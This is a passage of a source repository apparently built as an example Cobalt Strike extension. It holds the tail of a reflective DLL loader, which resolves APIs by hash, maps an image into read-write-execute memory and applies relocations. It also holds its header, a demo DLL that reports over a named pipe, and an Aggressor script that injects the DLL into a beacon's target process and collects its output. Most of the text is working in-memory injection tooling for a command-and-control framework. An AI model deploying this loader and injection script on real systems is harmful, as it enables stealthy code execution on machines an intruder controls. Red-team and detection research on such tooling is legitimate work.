(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while (usCounter > 0) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 239 | 240 | // store this functions VA 241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF(uiValueA); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while (uiValueA--) 279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while (uiValueE--) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while (uiValueD--) 300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 314 | 315 | // itterate through all imports 316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while (DEREF(uiValueA)) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof(ULONG_PTR); 361 | if (uiValueD) 362 | uiValueD += sizeof(ULONG_PTR); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 376 | 377 | // check if their are any relocations present 378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 382 | 383 | // and we itterate through all entries... 384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while (uiValueB--) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 416 | // sanity chack we are processing a MOV instruction... 417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)(dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 435 | } 436 | } 437 | #endif 438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof(IMAGE_RELOC); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch (dwReason) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if (lpReserved != NULL) 482 | *(HMODULE*)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /ReflectiveDll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | 35 | #include "ReflectiveDLLInjection.h" 36 | 37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 38 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 41 | 42 | #define KERNEL32DLL_HASH 0x6A4ABC5B 43 | #define NTDLLDLL_HASH 0x3CFA685D 44 | 45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 47 | #define VIRTUALALLOC_HASH 0x91AFCA54 48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 49 | 50 | #define IMAGE_REL_BASED_ARM_MOV32A 5 51 | #define IMAGE_REL_BASED_ARM_MOV32T 7 52 | 53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 55 | #define ARM_MOVW 0xF2400000 56 | #define ARM_MOVT 0xF2C00000 57 | 58 | #define HASH_KEY 13 59 | //===============================================================================================// 60 | #pragma intrinsic( _rotr ) 61 | 62 | __forceinline DWORD ror(DWORD d) 63 | { 64 | return _rotr(d, HASH_KEY); 65 | } 66 | 67 | __forceinline DWORD hash(char* c) 68 | { 69 | register DWORD h = 0; 70 | do 71 | { 72 | h = ror(h); 73 | h += *c; 74 | } while (*++c); 75 | 76 | return h; 77 | } 78 | //===============================================================================================// 79 | typedef struct _UNICODE_STR 80 | { 81 | USHORT Length; 82 | USHORT MaximumLength; 83 | PWSTR pBuffer; 84 | } UNICODE_STR, * PUNICODE_STR; 85 | 86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 87 | //__declspec( align(8) ) 88 | typedef struct _LDR_DATA_TABLE_ENTRY 89 | { 90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 91 | LIST_ENTRY InMemoryOrderModuleList; 92 | LIST_ENTRY InInitializationOrderModuleList; 93 | PVOID DllBase; 94 | PVOID EntryPoint; 95 | ULONG SizeOfImage; 96 | UNICODE_STR FullDllName; 97 | UNICODE_STR BaseDllName; 98 | ULONG Flags; 99 | SHORT LoadCount; 100 | SHORT TlsIndex; 101 | LIST_ENTRY HashTableEntry; 102 | ULONG TimeDateStamp; 103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 104 | 105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 107 | { 108 | DWORD dwLength; 109 | DWORD dwInitialized; 110 | LPVOID lpSsHandle; 111 | LIST_ENTRY InLoadOrderModuleList; 112 | LIST_ENTRY InMemoryOrderModuleList; 113 | LIST_ENTRY InInitializationOrderModuleList; 114 | LPVOID lpEntryInProgress; 115 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 116 | 117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 119 | { 120 | struct _PEB_FREE_BLOCK* pNext; 121 | DWORD dwSize; 122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 123 | 124 | // struct _PEB is defined in Winternl.h but it is incomplete 125 | // WinDbg> dt -v ntdll!_PEB 126 | typedef struct __PEB // 65 elements, 0x210 bytes 127 | { 128 | BYTE bInheritedAddressSpace; 129 | BYTE bReadImageFileExecOptions; 130 | BYTE bBeingDebugged; 131 | BYTE bSpareBool; 132 | LPVOID lpMutant; 133 | LPVOID lpImageBaseAddress; 134 | PPEB_LDR_DATA pLdr; 135 | LPVOID lpProcessParameters; 136 | LPVOID lpSubSystemData; 137 | LPVOID lpProcessHeap; 138 | PRTL_CRITICAL_SECTION pFastPebLock; 139 | LPVOID lpFastPebLockRoutine; 140 | LPVOID lpFastPebUnlockRoutine; 141 | DWORD dwEnvironmentUpdateCount; 142 | LPVOID lpKernelCallbackTable; 143 | DWORD dwSystemReserved; 144 | DWORD dwAtlThunkSListPtr32; 145 | PPEB_FREE_BLOCK pFreeList; 146 | DWORD dwTlsExpansionCounter; 147 | LPVOID lpTlsBitmap; 148 | DWORD dwTlsBitmapBits[2]; 149 | LPVOID lpReadOnlySharedMemoryBase; 150 | LPVOID lpReadOnlySharedMemoryHeap; 151 | LPVOID lpReadOnlyStaticServerData; 152 | LPVOID lpAnsiCodePageData; 153 | LPVOID lpOemCodePageData; 154 | LPVOID lpUnicodeCaseTableData; 155 | DWORD dwNumberOfProcessors; 156 | DWORD dwNtGlobalFlag; 157 | LARGE_INTEGER liCriticalSectionTimeout; 158 | DWORD dwHeapSegmentReserve; 159 | DWORD dwHeapSegmentCommit; 160 | DWORD dwHeapDeCommitTotalFreeThreshold; 161 | DWORD dwHeapDeCommitFreeBlockThreshold; 162 | DWORD dwNumberOfHeaps; 163 | DWORD dwMaximumNumberOfHeaps; 164 | LPVOID lpProcessHeaps; 165 | LPVOID lpGdiSharedHandleTable; 166 | LPVOID lpProcessStarterHelper; 167 | DWORD dwGdiDCAttributeList; 168 | LPVOID lpLoaderLock; 169 | DWORD dwOSMajorVersion; 170 | DWORD dwOSMinorVersion; 171 | WORD wOSBuildNumber; 172 | WORD wOSCSDVersion; 173 | DWORD dwOSPlatformId; 174 | DWORD dwImageSubsystem; 175 | DWORD dwImageSubsystemMajorVersion; 176 | DWORD dwImageSubsystemMinorVersion; 177 | DWORD dwImageProcessAffinityMask; 178 | DWORD dwGdiHandleBuffer[34]; 179 | LPVOID lpPostProcessInitRoutine; 180 | LPVOID lpTlsExpansionBitmap; 181 | DWORD dwTlsExpansionBitmapBits[32]; 182 | DWORD dwSessionId; 183 | ULARGE_INTEGER liAppCompatFlags; 184 | ULARGE_INTEGER liAppCompatFlagsUser; 185 | LPVOID lppShimData; 186 | LPVOID lpAppCompatInfo; 187 | UNICODE_STR usCSDVersion; 188 | LPVOID lpActivationContextData; 189 | LPVOID lpProcessAssemblyStorageMap; 190 | LPVOID lpSystemDefaultActivationContextData; 191 | LPVOID lpSystemAssemblyStorageMap; 192 | DWORD dwMinimumStackCommit; 193 | } _PEB, * _PPEB; 194 | 195 | typedef struct 196 | { 197 | WORD offset : 12; 198 | WORD type : 4; 199 | } IMAGE_RELOC, * PIMAGE_RELOC; 200 | //===============================================================================================// 201 | #endif 202 | //===============================================================================================// 203 | -------------------------------------------------------------------------------- /ReflectiveDll/dllmain.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "ReflectiveLoader.h" 5 | 6 | extern HINSTANCE hAppInstance; 7 | 8 | int LetsGo() { 9 | // Create named pipe: this will get patched in CNA 10 | HANDLE hPipe = CreateNamedPipeA( 11 | "\\\\.\\pipe\\youcantpatchthis", 12 | PIPE_ACCESS_DUPLEX, 13 | (PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT), 14 | 1, 15 | 0x1000, 16 | 0x1000, 17 | 0, 18 | NULL); 19 | 20 | if (hPipe == INVALID_HANDLE_VALUE) { 21 | return 1; 22 | } 23 | 24 | // Wait for beacon to connect 25 | while (!ConnectNamedPipe(hPipe, 0) && GetLastError() != ERROR_PIPE_CONNECTED); 26 | 27 | // send output 28 | std::string message = "[+] Hello from rDLL (via named pipe)!"; 29 | DWORD dwBytesWritten = 0; 30 | WriteFile(hPipe, message.c_str(), message.length(), &dwBytesWritten, 0); 31 | FlushFileBuffers(hPipe); 32 | 33 | // cleanup 34 | DisconnectNamedPipe(hPipe); 35 | CloseHandle(hPipe); 36 | return 0; 37 | } 38 | 39 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 40 | { 41 | BOOL bReturnValue = TRUE; 42 | switch (dwReason) 43 | { 44 | case DLL_QUERY_HMODULE: 45 | if (lpReserved != NULL) 46 | *(HMODULE*)lpReserved = hAppInstance; 47 | break; 48 | case DLL_PROCESS_ATTACH: 49 | hAppInstance = hinstDLL; 50 | LetsGo(); 51 | fflush(stdout); 52 | case DLL_PROCESS_DETACH: 53 | case DLL_THREAD_ATTACH: 54 | case DLL_THREAD_DETACH: 55 | break; 56 | } 57 | return bReturnValue; 58 | } -------------------------------------------------------------------------------- /cna/bin/ReflectiveDll.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rxwx/cs-rdll-ipc-example/2d331dae5d5dd84e5d6fbc5a0c152e690539c70f/cna/bin/ReflectiveDll.x64.dll -------------------------------------------------------------------------------- /cna/bin/ReflectiveDll.x86.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rxwx/cs-rdll-ipc-example/2d331dae5d5dd84e5d6fbc5a0c152e690539c70f/cna/bin/ReflectiveDll.x86.dll -------------------------------------------------------------------------------- /cna/pipetest.cna: -------------------------------------------------------------------------------- 1 | import beacon.CommandBuilder; 2 | import common.CommonUtils; 3 | import common.ReflectiveDLL; 4 | 5 | $ORIG_PIPE_NAME = "youcantpatchthis"; 6 | $CALLBACK_TYPE = 32; 7 | $WAIT_TIME = 15000; 8 | $DESCRIPTION = "pipetest"; 9 | $JOB_TYPE = 40; 10 | 11 | sub inject { 12 | $bid = $1; 13 | $arch = binfo($1, "barch"); 14 | $pid = binfo($1, "pid"); 15 | $builder = [new CommandBuilder]; 16 | 17 | if ($arch eq "x64") { 18 | $dllBytes = [CommonUtils readFile: script_resource("bin/ReflectiveDll.x64.dll")]; 19 | [$builder setCommand: 43]; 20 | } 21 | else { 22 | $dllBytes = [CommonUtils readFile: script_resource("bin/ReflectiveDll.x86.dll")]; 23 | [$builder setCommand: 9]; 24 | } 25 | btask($bid, "DLL size: ". strlen($dllBytes)); 26 | 27 | $offset = [ReflectiveDLL findReflectiveLoader: $dllBytes]; 28 | if($offset <= 0) { 29 | berror($1, "Could not find ReflectiveLoader"); 30 | return; 31 | } 32 | 33 | $pipeName = "\\\\.\\pipe\\" . [CommonUtils garbage: $ORIG_PIPE_NAME]; 34 | btask($bid, "Pipe Name: ". $pipeName); 35 | $dllBytes = [CommonUtils strrep: $dllBytes, "\\\\.\\pipe\\" . $ORIG_PIPE_NAME, $pipeName]; 36 | btask($bid, "DLL size with pipe patched: " . strlen($dllBytes)); 37 | 38 | # inject the rDLL 39 | [$builder addInteger: parseNumber($pid)]; 40 | [$builder addInteger: $offset]; 41 | [$builder addString: [CommonUtils bString: $dllBytes]]; 42 | $job1 = [$builder build]; 43 | 44 | # get the output from pipe 45 | [$builder setCommand: $JOB_TYPE]; 46 | [$builder addInteger: parseNumber($pid)]; 47 | [$builder addShort: $CALLBACK_TYPE]; 48 | [$builder addShort: $WAIT_TIME]; 49 | [$builder addLengthAndString: $pipeName]; 50 | [$builder addLengthAndString: $DESCRIPTION]; 51 | $job2 = [$builder build]; 52 | call("beacons.task", $null, $bid, cast($job1, 'b')); 53 | call("beacons.task", $null, $bid, cast($job2, 'b')); 54 | } 55 | 56 | alias pipetest { 57 | $bid = $1; 58 | inject($bid); 59 | } 60 | 61 | beacon_command_register( 62 | "pipetest", 63 | "Test pipe output in beacon."); 64 | --------------------------------------------------------------------------------